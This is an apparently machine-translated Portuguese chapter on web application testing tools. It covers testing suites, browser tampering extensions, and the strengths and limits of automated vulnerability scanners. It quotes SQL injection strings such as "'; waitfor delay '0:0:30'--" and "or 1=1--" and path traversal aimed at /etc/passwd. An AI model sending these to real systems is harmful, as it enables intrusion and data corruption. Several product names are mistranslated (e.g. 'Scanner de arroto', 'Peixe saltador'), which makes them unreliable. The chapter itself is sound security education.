- Suporte na ferramenta para métodos de autenticação HTTP, permitindo que você use todos os recursos da suíte em ambientes onde eles são usados, como LANs corporativas
- Suporte a certificados SSL de clientes, permitindo que você ataque aplicativos que os utilizam
- Manuseio dos recursos mais obscuros do HTTP, como codificação de conteúdo `gzip`, codificação de transferência em pedaços e respostas provisórias com status 100
- Extensibilidade, permitindo que a funcionalidade integrada seja modificada e ampliada de forma arbitrária por códigos de terceiros
- A capacidade de programar tarefas comuns, como spidering e digitalização, permitindo que você comece o dia de trabalho dormindo

- Configuração persistente das opções da ferramenta, permitindo que uma determinada configuração seja retomada na próxima execução do conjunto
- Independência de plataforma, permitindo que as ferramentas sejam executadas em todos os sistemas operacionais populares

Figura 20-13: As solicitações e respostas podem ser analisadas em sua estrutura e parâmetros HTTP

Teste do fluxo de trabalho

A Figura 20-14 mostra um fluxo de trabalho típico para o uso de um conjunto de testes integrados. As principais etapas envolvidas em cada elemento do teste são descritas em detalhes ao longo deste livro e estão agrupadas na metodologia definida no Capítulo 21. O fluxo de trabalho descrito aqui mostra como os diferentes componentes do conjunto de testes se encaixam nessa metodologia.

Nesse fluxo de trabalho, você conduz o processo geral de teste usando o navegador. À medida que você navega no aplicativo por meio do proxy de interceptação, o conjunto compila dois repositórios importantes de informações:

- O *histórico do proxy* registra todas as solicitações e respostas que passam pelo proxy.
- O *mapa do site* registra todos os itens descobertos em uma visualização de árvore de diretório do destino.

(Observe que, em ambos os casos, os filtros de exibição padrão podem ocultar da visualização alguns itens que normalmente não são de interesse durante o teste).

Conforme descrito no Capítulo 4, à medida que você navega no aplicativo, o conjunto de testes normalmente executa o spidering passivo do conteúdo descoberto. Isso atualiza o mapa do site com todas as solicitações que passam pelo proxy. Ele também adiciona itens que têm

foram identificados com base no conteúdo das respostas que passam pelo proxy (analisando links, formulários, scripts e assim por diante). Depois de mapear manualmente o conteúdo visível do aplicativo usando o navegador, você também pode usar as funções Spider e Content Discovery para sondar ativamente o aplicativo em busca de conteúdo adicional. Os resultados dessas ferramentas também são adicionados ao mapa do site.

Figura 20-14: Um fluxo de trabalho típico para usar um conjunto de testes integrados

Depois de mapear o conteúdo e a funcionalidade do aplicativo, você pode avaliar sua superfície de ataque. Esse é o conjunto de funcionalidades e solicitações que requerem uma inspeção mais detalhada na tentativa de encontrar e explorar vulnerabilidades.

Ao testar as vulnerabilidades, você normalmente seleciona itens da janela de interceptação de proxy, do histórico de proxy ou do mapa do site e os envia a outras ferramentas do conjunto para executar tarefas específicas. Como já descrevemos, você pode usar a ferramenta de fuzzing para sondar vulnerabilidades baseadas em entrada e realizar outros ataques, como a coleta de informações confidenciais. Você pode usar a ferramenta de varredura de vulnerabilidades para verificar automaticamente as vulnerabilidades comuns, usando tanto a varredura

passiva quanto a varredura de vulnerabilidades.

técnicas ativas. Você pode usar a ferramenta de análise de token para testar as propriedades de aleatoriedade dos cookies de sessão e outros tokens. E você pode usar o repetidor de solicitações para modificar e reemitir uma solicitação individual repetidamente para sondar vulnerabilidades ou explorar erros que você já descobriu. Muitas vezes, você passará itens individuais para frente e para trás entre essas diferentes ferramentas. Por exemplo, você pode selecionar um item interessante de um ataque de fuzzing ou um problema relatado pelo scanner de vulnerabilidades e passá-lo para o repetidor de solicitações para verificar a vulnerabilidade ou refinar uma exploração.

Para muitos tipos de vulnerabilidades, você normalmente precisará voltar ao navegador para investigar um problema mais a fundo, confirmar se uma vulnerabilidade aparente é genuína ou testar uma exploração funcional. Por exemplo, depois de encontrar uma falha de script entre sites usando o scanner de vulnerabilidades ou o repetidor de solicitações, você pode colar o URL resultante de volta no navegador para confirmar que a exploração de prova de conceito foi executada. Ao testar possíveis falhas de controle de acesso, você pode visualizar os resultados de determinadas solicitações na sessão atual do navegador para confirmar os resultados em um contexto de usuário específico. Se você descobrir uma falha de injeção de SQL que possa ser usada para extrair grandes quantidades de informações, poderá reverter para o navegador como o local mais útil para exibir os resultados.

O fluxo de trabalho descrito aqui não deve ser considerado rígido ou restritivo de forma alguma. Em muitas situações, você pode testar os bugs inserindo dados inesperados diretamente no navegador ou na janela de interceptação do proxy. Alguns bugs podem ficar imediatamente evidentes nas solicitações e respostas sem a necessidade de envolver outras ferramentas mais focadas em ataques. Você pode usar outras ferramentas para fins específicos. Você também pode combinar os componentes do conjunto de testes de maneiras inovadoras que não estão descritas aqui e talvez nem tenham sido previstas pelo autor da ferramenta. Os conjuntos de testes integrados são criações extremamente poderosas, com vários recursos inter-relacionados. Quanto mais criativo você for ao usá-los, maior será a probabilidade de descobrir as vulnerabilidades mais obscuras!

Alternativas ao proxy de interceptação

Um item que você deve ter sempre disponível em seu kit de ferramentas é uma alternativa às ferramentas usuais baseadas em proxy para as raras situações em que elas não podem ser usadas. Essas situações geralmente surgem quando você precisa usar algum método de autenticação não padrão para acessar o aplicativo, seja diretamente ou por meio de um proxy corporativo, ou quando o aplicativo usa um certificado SSL de cliente ou uma extensão de navegador incomum. Nesses casos, como um proxy de interceptação interrompe a conexão HTTP entre o cliente e o servidor, é possível que a ferramenta o impeça de usar parte ou toda a funcionalidade do aplicativo.

A abordagem alternativa padrão nessas situações é usar uma ferramenta no navegador para monitorar e manipular as solicitações HTTP geradas pelo navegador. Tudo o que ocorre no cliente e todos os dados enviados ao servidor estão, em princípio, sob seu controle total. Se desejar, você poderá escrever seu

próprio navegador totalmente personalizado para executar qualquer tarefa que desejar.

necessário. O que essas extensões de navegador fazem é fornecer uma maneira rápida e fácil de instrumentar a funcionalidade de um navegador padrão sem interferir nas comunicações da camada de rede entre o navegador e o servidor. Portanto, essa abordagem permite que você envie solicitações arbitrárias ao aplicativo, permitindo que o navegador use seus meios normais de comunicação com o aplicativo problemático.

Há várias extensões disponíveis para o Internet Explorer e para o Firefox que implementam funcionalidades muito semelhantes. Vamos ilustrar um exemplo de cada uma delas. Recomendamos que você experimente várias opções para encontrar a que melhor se adapta a você.

Você deve observar que a funcionalidade das extensões de navegador existentes é muito limitada em comparação com os conjuntos de ferramentas principais. Elas não realizam nenhuma varredura de spidering, fuzzing ou vulnerabilidade, e você fica restrito a trabalhar de forma totalmente manual. No entanto, em situações em que você for forçado a usá-las, elas permitirão que você realize um ataque abrangente ao seu alvo que não seria possível usando apenas um navegador padrão.

Dados de violação

O Tamper Data, mostrado na Figura 20-15, é uma extensão do navegador Firefox. Sempre que você envia um formulário, o Tamper Data exibe uma janela pop-up com todos os detalhes da solicitação, inclusive cabeçalhos e parâmetros HTTP, que podem ser visualizados e modificados.

Figura 20-15: O Tamper Data permite que você modifique os detalhes da solicitação HTTP no Firefox

TamperIE

O TamperIE, mostrado na Figura 20-16, implementa essencialmente a mesma funcionalidade no navegador Internet Explorer que o Tamper Data faz no Firefox.

Figura 20-16: TamperIE permite que você modifique os detalhes da solicitação HTTP no Internet Explorer

Scanners de vulnerabilidade autônomos

Existem várias ferramentas diferentes para realizar varreduras de vulnerabilidade totalmente automatizadas em aplicativos da Web. Esses scanners têm a vantagem de poder testar uma grande quantidade de funcionalidades em um tempo relativamente curto. Em um aplicativo típico, eles geralmente conseguem identificar uma variedade de vulnerabilidades importantes.

Os scanners autônomos de vulnerabilidades de aplicativos da Web automatizam várias das técnicas que descrevemos neste livro, inclusive a pesquisa de aplicativos, a descoberta de conteúdo padrão e comum e a sondagem de vulnerabilidades comuns. Depois de mapear o conteúdo do aplicativo, o scanner trabalha com sua funcionalidade, enviando uma série de strings de teste em cada parâmetro de cada solicitação, e analisa as respostas do aplicativo em busca de assinaturas de vulnerabilidades comuns. O scanner produz um relatório descrevendo cada uma das vulnerabilidades descobertas. Esse relatório geralmente inclui a solicitação e a resposta específicas que o aplicativo usou para diagnosticar cada vulnerabilidade relatada, permitindo que um usuário experiente investigue manualmente e confirme a existência do bug.

Um requisito fundamental para decidir se e quando usar um scanner de vulnerabilidades é entender os pontos fortes e fracos inerentes a esses tipos de ferramentas e os desafios que precisam ser enfrentados durante o desenvolvimento delas. Essas considerações também afetam a maneira como você pode usar efetivamente um scanner automatizado e como interpretar e confiar em seus resultados.

Vulnerabilidades detectadas por scanners

Várias categorias de vulnerabilidades comuns podem ser detectadas por scanners com um certo grau de confiabilidade. Essas são vulnerabilidades com uma assinatura razoavelmente padrão. Em alguns casos, a assinatura existe nas solicitações e respostas normais do aplicativo. Em outros casos, o scanner envia uma solicitação criada para acionar a assinatura se a vulnerabilidade estiver presente. Se a assinatura aparecer na resposta do aplicativo à solicitação, o scanner infere que a vulnerabilidade está presente.

Aqui estão alguns exemplos de vulnerabilidades que podem ser detectadas dessa forma:

- As vulnerabilidades de script entre sites refletidas surgem quando a entrada fornecida pelo usuário é repetida nas respostas do aplicativo sem a sanitização adequada. Os scanners automatizados normalmente enviam strings de teste contendo marcação HTML e pesquisam as respostas para essas strings, o que lhes permite detectar muitas dessas falhas.
- Algumas vulnerabilidades de injeção de SQL podem ser detectadas por meio de uma assinatura. Por exemplo, o envio de uma aspa simples pode resultar em uma mensagem de erro do ODBC ou o envio da string `'; waitfor delay '0:0:30'--` pode resultar em um atraso de tempo.
- Algumas vulnerabilidades de path traversal podem ser detectadas com o envio de uma sequência de path traversal direcionada a um arquivo conhecido, como `win.ini` ou `/etc/passwd`, e com a busca da resposta pela aparência desse arquivo.
- Algumas vulnerabilidades de injeção de comando podem ser detectadas com a injeção de um comando que causa um atraso de tempo ou ecoa uma cadeia de caracteres específica na resposta do aplicativo.
- As listagens de diretório simples podem ser identificadas solicitando o caminho do diretório e procurando uma resposta que contenha um texto que se pareça com uma listagem de diretório.
- Vulnerabilidades como o envio de senhas em texto não criptografado, cookies com escopo amplo e formulários com preenchimento automático ativado podem ser detectadas de forma confiável por meio da análise das solicitações e respostas normais feitas pelo aplicativo.
- Os itens não vinculados ao conteúdo principal publicado, como arquivos de backup e arquivos de origem, geralmente podem ser descobertos solicitando cada recurso enumerado com uma extensão de arquivo diferente.

Em muitos desses casos, algumas instâncias da mesma categoria de vulnerabilidade não podem ser detectadas de forma confiável usando uma string de ataque e uma assinatura padrão. Por exemplo, com muitas vulnerabilidades baseadas em entrada, o aplicativo implementa alguma validação de entrada rudimentar que pode ser contornada com o uso de entrada criada. As cadeias de caracteres de ataque usuais podem ser bloqueadas ou higienizadas; no entanto, um invasor habilidoso pode sondar a validação de entrada em vigor e descobrir uma forma de contorná-la. Em outros casos,

uma vulnerabilidade pode ser acionada por cadeias de caracteres padrão, mas pode não resultar na assinatura esperada. Por exemplo, muitos ataques de injeção de SQL não resultam no retorno de nenhum dado ou mensagem de erro para o usuário, e uma vulnerabilidade de passagem de caminho pode não resultar no retorno direto do conteúdo do arquivo visado na resposta do aplicativo. Em alguns desses casos, um scanner sofisticado ainda pode ser capaz de identificar a vulnerabilidade ou, pelo menos, observar algum comportamento anômalo para investigação manual, mas isso não é viável em todos os casos.

Além disso, várias categorias importantes de vulnerabilidades não têm uma assinatura padrão e não podem ser sondadas usando um conjunto padrão de strings de ataque. Em geral, os scanners automatizados não são eficazes na descoberta de defeitos desse tipo. Aqui estão alguns exemplos de vulnerabilidades que os scanners não conseguem detectar de forma confiável:

- Controles de acesso quebrados, que permitem que um usuário acesse os dados de outros usuários ou que um usuário com pouco privilégio acesse a funcionalidade administrativa. Um scanner não entende os requisitos de controle de acesso relevantes para o aplicativo, nem pode avaliar a importância das diferentes funções e dados que descobre usando uma determinada conta de usuário.
- Ataques que envolvem a modificação do valor de um parâmetro de uma forma que tenha significado dentro do aplicativo - por exemplo, um campo oculto que representa o preço de um item comprado ou o status de um pedido. Um scanner não entende o significado que qualquer parâmetro tem dentro da funcionalidade do aplicativo.
- Outras falhas lógicas, como ultrapassar um limite de transação usando um valor negativo ou contornar um estágio de um processo de recuperação de conta omitindo um parâmetro-chave de solicitação.
- Vulnerabilidades no design da funcionalidade do aplicativo, como regras de qualidade de senha fracas, a capacidade de enumerar nomes de usuário a partir de mensagens de falha de login e dicas de senha esquecida facilmente adivinháveis.
- Ataques de sequestro de sessão nos quais uma sequência pode ser detectada nos tokens de sessão do aplicativo, permitindo que um invasor se disfarce como outros usuários. Mesmo que um scanner possa reconhecer que um determinado parâmetro tem um valor previsível em logins sucessivos, ele não entenderá o significado do conteúdo diferente que resulta da modificação desse parâmetro.
- Vazamento de informações confidenciais, como listas de nomes de usuários e registros contendo tokens de sessão.

Alguns scanners de vulnerabilidade tentam verificar algumas dessas vulnerabilidades. Por exemplo, alguns scanners tentam localizar falhas de controle de acesso fazendo login em um aplicativo em dois contextos de usuário diferentes e tentando identificar dados e funções que um usuário pode acessar sem a devida autorização. De acordo com a experiência dos autores, verificações como essas geralmente geram um grande número de resultados falsos positivos e falsos

negativos.

Nas duas listas anteriores de vulnerabilidades, cada lista contém defeitos que podem ser classificados como "low-hanging fruit", ou seja, aqueles que podem ser facilmente detectados e explorados por um invasor com habilidades modestas. Portanto, embora um scanner automatizado geralmente detecte uma proporção razoável dos defeitos mais comuns em um aplicativo, ele também não detectará um número significativo desses problemas, incluindo alguns defeitos que qualquer ataque manual detectaria! Obter um atestado de integridade de um scanner automatizado nunca oferece nenhuma garantia sólida de que o aplicativo não contém algumas vulnerabilidades graves que podem ser facilmente encontradas e exploradas.

Também é justo dizer que, nos aplicativos mais críticos para a segurança que existem atualmente, que foram submetidos a requisitos e testes de segurança mais rigorosos, as vulnerabilidades que permanecem tendem a ser as que aparecem na segunda lista, e não na primeira.

Limitações inerentes aos scanners

Os melhores scanners de vulnerabilidade do mercado foram projetados e implementados por especialistas que refletiram seriamente sobre as possíveis maneiras de detectar todos os tipos de vulnerabilidades de aplicativos da Web. Não é por acaso que os scanners resultantes continuam incapazes de detectar de forma confiável muitas categorias de vulnerabilidades. Uma abordagem totalmente automatizada para testes de aplicativos da Web apresenta várias barreiras inerentes. Essas barreiras só podem ser resolvidas com eficácia por sistemas com mecanismos de inteligência artificial completos, que vão muito além dos recursos dos scanners atuais.

Cada aplicativo da Web é diferente

Os aplicativos da Web diferem bastante do domínio de redes e infraestruturas, em que uma instalação típica emprega produtos prontos para uso em configurações mais ou menos padrão. No caso da infraestrutura de rede, é possível, em princípio, construir antecipadamente um banco de dados de todos os possíveis alvos e criar uma ferramenta para sondar cada defeito associado. Isso não é possível com aplicativos da Web personalizados, portanto, qualquer scanner eficaz deve esperar o inesperado.

Os scanners operam com base na sintaxe

Os computadores podem analisar facilmente o conteúdo sintático das respostas dos aplicativos e reconhecer mensagens de erro comuns, códigos de status HTTP e dados fornecidos pelo usuário que estão sendo copiados para páginas da Web. Entretanto, os scanners atuais não conseguem entender o significado semântico desse conteúdo, nem fazer julgamentos normativos com base nesse significado. Por exemplo, em uma função que atualiza um carrinho de compras, um scanner simplesmente vê vários parâmetros sendo

apresentado. Ele não sabe que um desses parâmetros significa uma quantidade e outro significa um preço. Além disso, ele não sabe que poder modificar a quantidade de um pedido é irrelevante, enquanto poder modificar seu preço representa uma falha de segurança.

Os scanners não melhoram

Muitos aplicativos da Web usam mecanismos não padronizados para lidar com sessões e navegação e para transmitir e manipular dados, como na estrutura da string de consulta, cookies ou outros parâmetros. Um ser humano pode perceber e desconstruir rapidamente o mecanismo incomum, mas um computador continuará seguindo as regras padrão que lhe foram dadas. Além disso, muitos ataques contra aplicativos da Web exigem alguma improvisação, como contornar filtros de entrada parcialmente eficazes ou explorar vários aspectos diferentes do comportamento do aplicativo que, coletivamente, o deixam aberto a ataques. Normalmente, os scanners não detectam esses tipos de ataques.

Os scanners não são intuitivos

Os computadores não têm intuição sobre a melhor maneira de proceder. A abordagem dos scanners atuais é, em grande parte, tentar todos os ataques contra todas as funções. Isso impõe um limite prático à variedade de verificações que podem ser realizadas e às maneiras como elas podem ser combinadas. Essa abordagem ignora as vulnerabilidades em muitos casos:

- Alguns ataques envolvem o envio de entradas criadas em uma ou mais etapas de um processo de vários estágios e a passagem pelo restante do processo para observar os resultados.
- Alguns ataques envolvem a alteração da sequência de etapas em que o aplicativo espera que um processo seja executado.
- Alguns ataques envolvem a alteração do valor de vários parâmetros de maneiras elaboradas. Por exemplo, um ataque XSS pode exigir que um valor específico seja colocado em um parâmetro para causar uma mensagem de erro e que uma carga útil XSS seja colocada em outro parâmetro, que é copiado na mensagem de erro.

Devido às restrições práticas impostas à abordagem de força bruta dos scanners para a detecção de vulnerabilidades, eles não podem trabalhar com todas as permutações de sequências de ataque em diferentes parâmetros ou com todas as permutações de etapas funcionais. É claro que nenhum ser humano também pode fazer isso na prática. Entretanto, um ser humano frequentemente tem uma noção de onde os bugs estão localizados, onde o desenvolvedor fez suposições e onde algo não "parece certo". Portanto, um testador humano selecionará uma pequena proporção do total de ataques possíveis para investigação real e, dessa forma, geralmente obterá sucesso.

Desafios técnicos enfrentados pelos scanners

As barreiras à automação descritas anteriormente levam a uma série de desafios técnicos específicos que devem ser abordados na criação de um scanner de vulnerabilidades eficaz. Esses desafios afetam não apenas a capacidade do scanner de detectar tipos específicos de vulnerabilidades, conforme já descrito, mas também sua capacidade de executar as tarefas principais de mapeamento do conteúdo do aplicativo e sondagem de defeitos.

Alguns desses desafios não são insuperáveis, e os scanners atuais encontraram maneiras de resolvê-los parcialmente. No entanto, o escaneamento não é de forma alguma uma ciência perfeita e a eficácia das técnicas modernas de escaneamento varia muito de aplicação para aplicação.

Autenticação e tratamento de sessões

O scanner deve ser capaz de trabalhar com os mecanismos de autenticação e tratamento de sessão usados por diferentes aplicativos. Frequentemente, a maior parte da funcionalidade de um aplicativo só pode ser acessada por meio de uma sessão autenticada, e um scanner que não funcione usando essa sessão deixará passar muitas falhas detectáveis. Nos scanners atuais, a parte de autenticação desse problema é resolvida permitindo que o usuário do scanner forneça um script de login ou passe pelo processo de autenticação usando um navegador integrado, permitindo que o scanner observe as etapas específicas envolvidas na obtenção de uma sessão autenticada.

A parte do desafio relacionada ao gerenciamento de sessões é menos simples de resolver e compreende os dois problemas a seguir:

- O scanner deve ser capaz de interagir com qualquer mecanismo de tratamento de sessão usado pelo aplicativo. Isso pode envolver a transmissão de um token de sessão em um cookie, em um campo de formulário oculto ou na cadeia de consulta de URL. Os tokens podem ser estáticos durante toda a sessão ou podem mudar de acordo com a solicitação, ou o aplicativo pode empregar um mecanismo personalizado diferente.
- O scanner deve ser capaz de detectar quando sua sessão deixou de ser válida para que possa retornar ao estágio de autenticação e adquirir uma nova. Isso pode ocorrer por vários motivos. Talvez o scanner tenha solicitado a função de logout ou o aplicativo tenha encerrado a sessão porque o scanner realizou uma navegação anormal ou enviou uma entrada inválida. O scanner deve detectar isso durante seus exercícios iniciais de mapeamento e durante a sondagem subsequente de vulnerabilidades. Aplicativos diferentes se comportam de maneiras muito diferentes quando uma sessão se torna inválida. Para um scanner que analisa apenas o conteúdo sintático das respostas do aplicativo, esse pode ser um desafio difícil de enfrentar em geral, principalmente se for usado um mecanismo de tratamento de sessão não padrão.

É justo dizer que alguns dos scanners atuais fazem um trabalho razoável ao trabalhar com a maioria dos mecanismos de autenticação e tratamento de sessão que estão em uso. Entretanto, ainda há vários casos em que os scanners têm dificuldades. Como resultado, eles podem não conseguir rastrear ou verificar adequadamente partes importantes da superfície de ataque de um aplicativo. Devido à maneira totalmente automatizada com que os scanners autônomos operam, essa falha normalmente não é aparente para o usuário.

Efeitos perigosos

Em muitos aplicativos, a execução de uma varredura automatizada irrestrita sem nenhuma orientação do usuário pode ser bastante perigosa para o aplicativo e os dados que ele contém. Por exemplo, um scanner pode descobrir uma página de administração que contém funções para redefinir senhas de usuários, excluir contas e assim por diante. Se o scanner solicitar cegamente todas as funções, o acesso poderá ser negado a todos os usuários do aplicativo. Da mesma forma, o scanner pode descobrir uma vulnerabilidade que pode ser explorada para corromper seriamente os dados mantidos no aplicativo. Por exemplo, em algumas vulnerabilidades de injeção de SQL, o envio de strings de ataque SQL padrão, como `or 1=1--`, faz com que operações imprevistas sejam executadas nos dados do aplicativo. Um ser humano que entende a finalidade de uma determinada função pode proceder com cautela por esse motivo, mas um scanner automatizado não tem esse entendimento.

Funcionalidade de individualização

Há muitas situações em que uma análise puramente sintática de um aplicativo não consegue identificar corretamente seu conjunto principal de funções individuais:

- Alguns aplicativos contêm uma quantidade colossal de conteúdo que incorpora o mesmo conjunto principal de funcionalidades. Por exemplo, aplicativos como eBay, MySpace e Amazon contêm milhões de páginas de aplicativos diferentes com URLs e conteúdo diferentes, mas que correspondem a um número relativamente pequeno de funções reais do aplicativo.
- Alguns aplicativos podem não ter limites finitos quando analisados de uma perspectiva puramente sintática. Por exemplo, um aplicativo de calendário pode permitir que os usuários naveguem para qualquer data. Da mesma forma, alguns aplicativos com uma quantidade finita de conteúdo empregam URLs voláteis ou parâmetros de solicitação para acessar o mesmo conteúdo em ocasiões diferentes, levando os scanners a continuar o mapeamento indefinidamente.
- As próprias ações do scanner podem resultar no aparecimento de conteúdo aparentemente novo. Por exemplo, o envio de um formulário pode fazer com que um novo link apareça na interface do aplicativo, e o acesso ao link pode recuperar um outro formulário com o mesmo comportamento.

Em qualquer uma dessas situações, um invasor humano pode "enxergar" rapidamente o conteúdo sintático do aplicativo e identificar o conjunto principal de funções reais que precisam ser testadas. Para um scanner automatizado sem compreensão semântica, isso é consideravelmente mais difícil de fazer.

Além dos problemas óbvios de mapeamento e sondagem do aplicativo nas situações descritas, um problema relacionado surge na comunicação das vulnerabilidades descobertas. Um scanner baseado em análise puramente sintática é propenso a gerar descobertas duplicadas para cada vulnerabilidade. Por exemplo, um relatório de varredura pode identificar 200 falhas de XSS, 195 das quais surgem na mesma função do aplicativo que o scanner sondou várias vezes porque aparece em contextos diferentes com conteúdo sintático diferente.

Outros desafios para a automação

Conforme discutido no Capítulo 14, alguns aplicativos implementam medidas defensivas projetadas especificamente para impedir que sejam acessados por programas de clientes automatizados. Essas medidas incluem o encerramento reativo da sessão em caso de atividade anômala e o uso de CAPTCHAs e outros controles criados para garantir que um ser humano seja responsável por determinadas solicitações.

Em geral, a função de spidering do scanner enfrenta os mesmos desafios que os spiders de aplicativos da Web em geral, como respostas personalizadas "não encontradas" e a capacidade de interpretar o código do lado do cliente. Muitos aplicativos implementam validação refinada em itens específicos de entrada, como os campos de um formulário de registro de usuário. Se o spider preencher o formulário com entradas inválidas e não conseguir entender as mensagens de erro geradas pelo aplicativo, ele nunca poderá prosseguir além desse formulário para algumas funções importantes que estão por trás dele.

A rápida evolução das tecnologias da Web, especialmente o uso de componentes de extensão do navegador e outras estruturas no lado do cliente, significa que a maioria dos scanners fica atrás das últimas tendências. Isso pode resultar em falhas na identificação de todas as solicitações relevantes feitas no aplicativo ou no formato e no conteúdo precisos das solicitações exigidas pelo aplicativo.

Além disso, a natureza altamente estatal dos aplicativos da Web atuais, com dados complexos mantidos no lado do cliente e do servidor e atualizados por meio de comunicações assíncronas entre os dois, cria problemas para a maioria dos scanners totalmente automatizados, que tendem a trabalhar em cada solicitação isoladamente. Para obter uma cobertura completa desses aplicativos, muitas vezes é necessário entender os processos de solicitação de vários estágios que eles envolvem e garantir que o aplicativo esteja no estado desejado para lidar com uma solicitação de ataque específica. O Capítulo 14 descreve técnicas para conseguir isso em ataques automatizados personalizados. Em geral, elas

exigem envolvimento humano inteligente para entender os requisitos, configurar as ferramentas de teste adequadamente e monitorar seu desempenho.

Produtos atuais

O mercado de scanners automatizados da Web prosperou nos últimos anos, com muita inovação e uma ampla gama de produtos diferentes. Aqui estão alguns dos scanners mais proeminentes:

- Acunetix
- AppScan
- Scanner de arroto
- Tempestade de granizo
- NetSparker
- N-Stalker
- NTOSpider
- Peixe saltador
- WebInspect

Embora a maioria dos scanners maduros compartilhe um núcleo comum de funcionalidade, eles têm diferenças em suas abordagens para detectar diferentes áreas de vulnerabilidades e na funcionalidade apresentada ao usuário. As discussões públicas sobre os méritos de diferentes scanners muitas vezes se transformam em uma disputa de lama entre os fornecedores. Várias pesquisas foram realizadas para avaliar o desempenho de diferentes scanners na detecção de diferentes tipos de falhas de segurança. Essas pesquisas sempre envolvem a execução dos scanners em uma pequena amostra de código vulnerável. Isso pode limitar a extrapolação dos resultados para a ampla gama de situações do mundo real em que os scanners podem ser usados.

As pesquisas mais eficazes executam cada scanner em uma ampla gama de códigos de amostra derivados de aplicativos do mundo real, sem dar aos fornecedores a oportunidade de ajustar seu produto ao código de amostra antes da análise. Um desses estudos acadêmicos da Universidade da Califórnia, em Santa Bárbara, afirma ser "a maior avaliação de scanners de aplicativos da Web em termos do número de ferramentas testadas... e da classe de vulnerabilidades analisadas". Você pode fazer o download do relatório do estudo no seguinte URL:

```
www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
```

As principais conclusões desse estudo foram as seguintes:

- Classes inteiras de vulnerabilidades não podem ser detectadas por scanners de última geração, incluindo senhas fracas, controles de acesso quebrados e falhas lógicas.
- O rastreamento de aplicativos modernos da Web pode ser um grande desafio para os atuais scanners de vulnerabilidade da Web, devido ao suporte incompleto a tecnologias comuns do lado do cliente e à natureza complexa de estado dos aplicativos atuais.
- Não há uma forte correlação entre preço e capacidade. Alguns scanners gratuitos ou muito econômicos funcionam tão bem quanto scanners que custam milhares de dólares.

O estudo atribuiu a cada scanner uma pontuação com base em sua capacidade de identificar diferentes tipos de vulnerabilidades. A Tabela 20-1 mostra as pontuações gerais e o preço de cada scanner.

Tabela 20-1: Desempenho da detecção de vulnerabilidades e preços de diferentes scanners de acordo com o estudo da UCSB

SCANNER	PONTUAÇÃO	PREÇO
Acunetix	14	De US$ 4.995 a US$ 6.350
WebInspect	13	US$ 6.000 a US$ 30.000
Scanner de arroto	13	$191
N-Stalker	13	De US$ 899 a US$ 6.299
AppScan	10	De US$ 17.550 a US$ 32.500
w3af	9	Grátis
Paros	6	Grátis
Tempestade de granizo	6	$10,000
NTOSpider	4	$10,000
MileSCAN	4	De US$ 495 a US$ 1.495
Grendel-Scan	3	Grátis

Deve-se observar que os recursos de escaneamento evoluíram consideravelmente nos últimos anos e provavelmente continuarão a evoluir. Tanto o desempenho quanto o preço dos scanners individuais provavelmente mudarão com o tempo. O estudo da UCSB que relatou as informações mostradas na Tabela 20-1 foi publicado em junho de 2010. Devido à relativa escassez de informações públicas confiáveis sobre o desempenho dos scanners de vulnerabilidade da Web, é recomendável que você faça sua própria pesquisa antes de fazer qualquer compra. A maioria dos fornecedores de scanners fornece documentação detalhada do produto e edições de teste gratuitas de seus softwares, que podem ser para ajudar a informar sua seleção de produtos.

Uso de um scanner de vulnerabilidade

Em situações do mundo real, a eficácia do uso de um scanner de vulnerabilidades depende muito do aplicativo que está sendo visado. Os pontos fortes e fracos inerentes que descrevemos afetam diferentes aplicativos de maneiras diferentes, dependendo dos tipos de funcionalidade e vulnerabilidades que eles contêm.

Dos vários tipos de vulnerabilidades comumente encontradas em aplicativos da Web, os scanners automatizados são inerentemente capazes de descobrir aproximadamente metade delas, quando existe uma assinatura padrão. Dentro do subconjunto de tipos de vulnerabilidade que os scanners podem detectar, eles fazem um bom trabalho de identificação de casos individuais, embora deixem passar as instâncias mais sutis e incomuns. De modo geral, é de se esperar que a execução de uma varredura automatizada identifique alguns, mas não todos, os problemas mais comuns em um aplicativo típico.

Se você for um novato ou estiver atacando um aplicativo grande e tiver pouco tempo, a execução de uma varredura automatizada pode trazer benefícios claros. Ela identificará rapidamente várias pistas para investigação manual adicional, permitindo que você tenha um controle inicial da postura de segurança do aplicativo e dos tipos de falhas existentes. Ela também fornecerá uma visão geral útil do aplicativo de destino e destacará todas as áreas incomuns que merecem atenção mais detalhada.

Se você é um especialista em atacar aplicativos da Web e leva a sério a necessidade de encontrar o maior número possível de vulnerabilidades em seu alvo, sabe muito bem das limitações inerentes aos scanners de vulnerabilidade. Portanto, você não confiará totalmente neles para cobrir completamente qualquer categoria individual de vulnerabilidade. Embora os resultados de uma varredura sejam interessantes e levem a uma investigação manual de problemas específicos, você normalmente desejará realizar um teste manual completo de todas as áreas do aplicativo para cada tipo de vulnerabilidade para se certificar de que o trabalho foi feito corretamente.

Em qualquer situação em que empregar um scanner de vulnerabilidade, você deve ter em mente alguns pontos-chave para garantir que faça o uso mais eficaz possível:

- Esteja ciente dos tipos de vulnerabilidades que os scanners podem detectar e daqueles que não podem.
- Familiarize-se com a funcionalidade de seu scanner e saiba como aproveitar sua configuração para ser o mais eficaz contra um determinado aplicativo.
- Familiarize-se com o aplicativo de destino antes de executar a varredura, para que possa usá-lo da forma mais eficaz possível.
- Esteja ciente dos riscos associados à funcionalidade avançada de spidering e à sondagem automática de bugs perigosos.
- Sempre confirme manualmente as possíveis vulnerabilidades relatadas pelo scanner.

- Esteja ciente de que os scanners são extremamente barulhentos e deixam uma marca significativa nos registros do servidor e em qualquer defesa de IDS. Não use um scanner se quiser ser discreto.

Varredura totalmente automatizada versus varredura dirigida pelo usuário

Uma consideração importante no uso de scanners da Web é a extensão em que você deseja direcionar o trabalho feito pelo scanner. Os dois casos extremos de uso nessa decisão são os seguintes:

- Você deve fornecer ao scanner o URL do aplicativo, clicar em Go (Ir) e aguardar os resultados.
- Você deseja trabalhar manualmente e usar um scanner para testar solicitações individuais isoladamente, juntamente com seus testes manuais.

Os scanners autônomos da Web são mais voltados para o primeiro desses casos de uso. Os scanners incorporados a conjuntos de testes integrados são mais voltados para o segundo caso de uso. Dito isso, os dois tipos de scanners permitem que você adote uma abordagem mais híbrida, se desejar.

Para os usuários iniciantes em segurança de aplicativos Web, que precisam de uma avaliação rápida de um aplicativo ou que lidam com um grande número de aplicativos regularmente, uma varredura totalmente automatizada fornecerá algumas informações sobre parte da superfície de ataque do aplicativo. Isso pode ajudá-lo a tomar uma decisão informada sobre qual nível de teste mais abrangente é necessário para o aplicativo.

